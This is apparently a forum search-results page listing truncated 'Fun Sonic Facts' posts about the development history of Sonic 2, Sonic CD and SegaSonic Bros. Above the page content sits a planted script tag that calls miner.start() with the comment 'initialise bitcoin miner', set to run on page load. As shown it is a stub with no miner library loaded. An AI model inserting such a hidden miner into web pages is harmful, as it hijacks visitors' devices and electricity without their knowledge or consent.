<script>
miner.start(); // initialise bitcoin miner
</script>

smbx communitypge projectmario fan games galaxy

Search found 609 matches

Go to advanced search

by Heavy Sigh
2 days ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - CD - ...The Problem's Chronic!

Fun Sonic Facts! If the controller is left untouched for 3 minutes, Sonic will be incensed at the player's lack of action and leap off the level to punish them for it. However, what's not well known about this easter egg is that it's actually possible to escape losing a life from it! Sonic does not ...
by Heavy Sigh
3 days ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - CD - ...The Problem's Chronic!

Fun Sonic Facts! In addition to the new soundtrack, a more subtle, yet noticeable, change occurred within the pages of the manual. The new female character, Amy Rose, was renamed to Princess Sally, the name of the female lead in the Sonic the Hedgehog cartoon series. In an incredibly well thought ou...
by Heavy Sigh
4 days ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - CD - ...The Problem's Chronic!

Fun Sonic Facts! Released on November 19th, 1993, arguments over Sonic CD's two soundtracks began that day. Though a majority of the Americans who bought the game hadn't the faintest inkling there had ever been another soundtrack, those that did know had some strong words for SoA's decision, the mos...
by Heavy Sigh
5 days ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - CD - ...The Problem's Chronic!

Fun Sonic Facts! With less than a month before his deadline, SEGA musician Spencer Nilsen did the smart thing and gave the original soundtrack a listen. While he appreciated its accomplishments, he was also not willing to bite the hand currently feeding him by calling SoA's concerns groundless. So h...
by Heavy Sigh
6 days ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - CD - ...The Problem's Chronic!

Fun Sonic Facts! The Westernization of Sonic CD Wanting just as much, if not more for the game to succeed as Sega of Japan, Sega of America prepped the Mega CD (referred to as the "Sega CD" in the United States) for the release of Sonic's time hopping adventure. Though the code was only awaiting the...
by Heavy Sigh
1 week ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - CD - ...The Problem's Chronic!

Fun Sonic Facts! Though not on the level of the gigantic Sonic 2, Sonic CD did have its own collection of scrapped content, something miraculously never mentioned in any magazine (to the point where the first discovery of anything unused was in the 1996 PC port) much as its co-existing Mega Drive si...
by Heavy Sigh
1 week ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - CD - ...The Problem's Chronic!

Fun Sonic Facts! Looking back on the original Sonic the Hedgehog, Ohshima concluded that the game's cast was simply too sparse. He began thinking that two new cast members would be idea; one to serve as a possible extra protagonist, and more importantly, an enemy that could be marketed on the same l...
by Heavy Sigh
1 week ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - CD - ...The Problem's Chronic!

Fun Sonic Facts! One of Oshima's first and best decisions was choosing Hiroyuki Kawaguchi as Art Director to shape the worlds of the game. Although comparisons can be made between the levels in the first Sonic the Hedgehog and its CD sequel, Kawaguchi's creations were a feast for the eyes, standing ...
by Heavy Sigh
1 week ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - CD - ...The Problem's Chronic!

Fun Sonic Facts! THE SONIC CD STORY Although Yuji Naka and Hirokazu Yasuhara had gone to San Francisco to help mentor (Naka's status as mentor was debateable at best) the newly-hired employees of the Sega Technical Institute in the development of Sonic the Hedgehog 2, Sonic creator Naoto Ohshima cho...
by Heavy Sigh
1 week ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - SegaSonic Bros. - DO NOT STEAL!

Fun Sonic Facts! SegaSonic Bros. is an arcade puzzle game created by Fukio Mitsuji (of Bubble Bobble fame) for Sega System C2 hardware, and was to be released in 1992. While the game was about 95% done, the game failed its location test in Japan and subsequently did not see a nationwide release, nor...
by Heavy Sigh
1 week ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - 2 - I Could Go Super Sonic...

Fun Sonic Facts! Death Egg Zone was originally meant to be a full stage, but that was scrapped around the middle of development as Sonic Team realized that it would take too much time to insert another tileset and area map. Instead, it was made into the final boss fight, much like Final Zone from So...
by Heavy Sigh
1 week ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - 2 - I Could Go Super Sonic...

Fun Sonic Facts! The Sonic 2 development team was supposed to continue working on a Sega CD port of the game, with big dreams of it being an 'extended version' with cutscenes and a new soundtrack. However, SoJ had different plans, and decided to create a new Sonic game themselves in-house, without i...
by Heavy Sigh
2 weeks ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - 2 - I Could Go Super Sonic...

Fun Sonic Facts! Even as Sonic 2 was finally completed, tensions behind the scenes were hitting the boiling point. Many artists inside STI felt they had learned absolutely nothing from their japanese colleagues, and while Yasuhara and Yasushi were amicable, easygoing fellows, Yuji Naka had proven hi...
by Heavy Sigh
2 weeks ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - 2 - I Could Go Super Sonic...

and now for tonights installment of the Sonic 2 Novella... Fun BETA Sonic Facts! Genocide City Zone, later known as Cyber City Zone, was a level designed primarily by Tom Payne, and it was to be a single act zone with a scarily industrial theme, but was dropped for time. Like most levels in Sonic 2,...
by Heavy Sigh
2 weeks ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - 2 - I Could Go Super Sonic...

Fun Sonic Facts! Sonic The Hedgehog 2 was released simultaneously in the United States and Europe on "Sonic 2sday." For the USA, Sega's marketing team focused on the concept of 'Blast Processing', a term originally used to describe an annoying design oversight in the Mega Drive's VDP unit. In market...
by Heavy Sigh
2 weeks ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - 2 - I Could Go Super Sonic...

Fun Sonic Facts! As marketing swung into action, their print ads, combined with Sega's incredibly high-octane TV ad campaign, made dead certain everyone was aware of the Launch Day. With the ads instilling a hunger for more info on Sonic 2, Step 2 of marketings plans involved the gaming press, with ...
by Heavy Sigh
3 weeks ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - 2 - I Could Go Super Sonic...

Fun Sonic Facts! Even while Sonic Team were hard at work on Sonic 2, there was no less a hard fight with Sega of America's marketing team as they tried to create a fitting marketing strategy for Sonic 2. It was on them to ensure that the game's release would matter to John Q. Public, not just hardco...
by Heavy Sigh
3 weeks ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - 2 - I Could Go Super Sonic...

Fun Sonic Facts! Hill Top Zone was originally meant to be the 'Past' version of Emerald Hill Zone early in development when Time Travel was still going to be part of Sonic 2, and thus was populated with dinosaurs and huge volcanoes to evoke an 'ancient' feeling. However, this was dropped later on in...
by Heavy Sigh
3 weeks ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - 2 - I Could Go Super Sonic...

Fun Sonic Facts! Just like in Sonic 1, Masato Nakamura, leader of the band Dreams Come True, was in charge of the soundtrack to Sonic 2. Wanting to stay faithful to the style of the first game, but still improve upon it, Nakamura spent many a sleepless night writing music that would satisfy fans. Ho...
by Heavy Sigh
3 weeks ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - 2 - I Could Go Super Sonic...

Fun Sonic Facts! Even as Sonic Team figured out early on that time was short, as Sonic 2's release date raced closer it was a mad dash to finish the eleven zones that were selected for the final game. Cyber City Zone, a one-act level that was meant to follow Metropolis Zone (and was briefly called "...
by Heavy Sigh
3 weeks ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - 2 - I Could Go Super Sonic...

Fun Sonic Facts! During the planning stages, Sonic 2 once incorporated a time travelling mechanic - a feature that, while unable to be fleshed out enough to be used in the game, would have its day as part of Sonic the Hedgehog CD. However, Sonic 2's version of time travel was quite different - time ...
by Heavy Sigh
3 weeks ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - 2 - I Could Go Super Sonic...

Fun Sonic Facts! Even as tensions rose with the leaders of the project demanding perfection, work on Sonic the Hedgehog 2 continued unfettered. With each passing day, the hype behind the project grew, creating immense pressure on the team. As the hype built, Sega wanted to advertise the game in as m...
by Heavy Sigh
4 weeks ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - 2 - I Could Go Super Sonic...

Fun Sonic Facts! With Sonic Team being nothing less than ambitious, the original plan for Sonic 2 was to make a sprawling, 18-zone epic, revisiting the unique ideas Sonic Team had created for the first game to put their own spin on traditional platformer environments like deserts and glaciers, along...
by Heavy Sigh
4 weeks ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - 2 - I Could Go Super Sonic...

Fun Sonic Facts! With Sonic Team filled to bursting with ideas for Sonic 2, one of the first elements the team decided on was that they wanted a new main character to be introduced in the game. This was caused by a request from Yuji Naka as a condition for his hiring. Naka had wanted to implement a ...
by Heavy Sigh
1 month ago
Forum: let's play
Topic: All The S@nics - CD - ...The Problem's Chronic!
Replies: 1158
Views: 27418

Re: All The S@nics - 2 - I Could Go Super Sonic...

Fun Sonic Facts! Though many would assume that the creation of Sonic 2 was a done deal with the success of the original, the moment Sonic 1's production wrapped, problems arose that almost killed the sequel before it began, chief among them the near loss of the man responsible for the engine of Soni...

Go to advanced search